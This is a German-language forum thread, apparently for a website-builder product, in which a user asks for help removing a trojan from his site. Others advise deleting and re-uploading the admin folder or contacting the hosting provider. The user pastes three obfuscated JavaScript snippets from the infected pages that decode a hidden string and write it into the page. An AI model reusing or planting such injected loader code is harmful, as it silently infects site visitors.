Trojaner
Author: Rudi SchweizerHallo Support Team, habe auf meiner Seite einen Trojaner- könnt Ihr mit Zeitnah helfen ? Das infizierte Script zu entfernen ? bzw. was hat das für Auswirkungen ?? Das zu entfernende Script lautet : Hello, This is not a false alarm, this site is infected. Here is the malicious code:
[removed]var a='';var b='e%/l/u.Dw2i5mDEe 30hwiiepvt2t2o2CE"wvorhvd%h2b233fcpaazlF232D0e2f mDAamg6302e2a33m r%%s.bdn�%fr2r %2/adkpci5g%e%%% irt.thc32-%i Cstwsor%%h2%%r0/ a33tiqr%2%h2r%%a ';var c='2187359406';for(var i=0;i<17;i++) for(var j=0;j<10;j++) a+=b.charAt((parseInt(c.charAt(j))*17)+i);[removed]ln(unescape(a));[removed] [removed]var a='';var b='Cstwz=2%h2r%�%/t.ed%h2%%r0/ "wbh32232D0e2fmDAong15t2t2o2CEr%%rapdfi5g%e%%�3cia29d%h2b233fcpamFcbw2i5mDEe30hwipD2�%fr2rirt./38002e2a33m%2/.pB-%i ';var c='2708645319';for(var i=0;i<16;i++) for(var j=0;j<10;j++) a+=b.charAt((parseInt(c.charAt(j))*16)+i);[removed]ln(unescape(a));[removed] [removed]var a='';var b='"qof32%h2r%�stebai6tw2i5mDEefcptee%iud%h2b233%2/pi%4%�%fr2r irtremddri5g%e%%�3lppDe%h2%%r0/ e%/s/p1t232D0e2f mDAilh3c2-%i 30hv.rF2D02e2a33mr%%y..3ret2t2o2CE';var c='0814295763';for(var i=0;i<17;i++) for(var j=0;j<10;j++) a+=b.charAt((parseInt(c.charAt(j))*17)+i);[removed]ln(unescape(a));[removed]
Für eine zeitnahe Hilfe danke ich herzlich
Rudi Schweizer
Warum wendest Du Dich nicht an Deinen Provider, der Dir doch einigermaßen Sicherheit garantieren sollet.
Ansonsten lösche doch des gesamte Verzeichnis admin vom Server und übertrage X5 "Alles" nochmal.
English please...
The user has loud Kaspersky a Trojaner in the admin folder and asks for our help in the removal.
I've recommended the admin folder to delete and new export all or contact the provider.
First of all check the permisions on folder...
English please...
. . . english in DE-forum - why ? - just use Google to translate . . .
Nun sei mal nicht so ausnahmsweise. Die haben doch nur immer 5 Minuten...
Warum zuerst die Rechte prüfen, wenn der Ordenr sowieso gelöscht wird und X5 die Rechte automatisch setzt.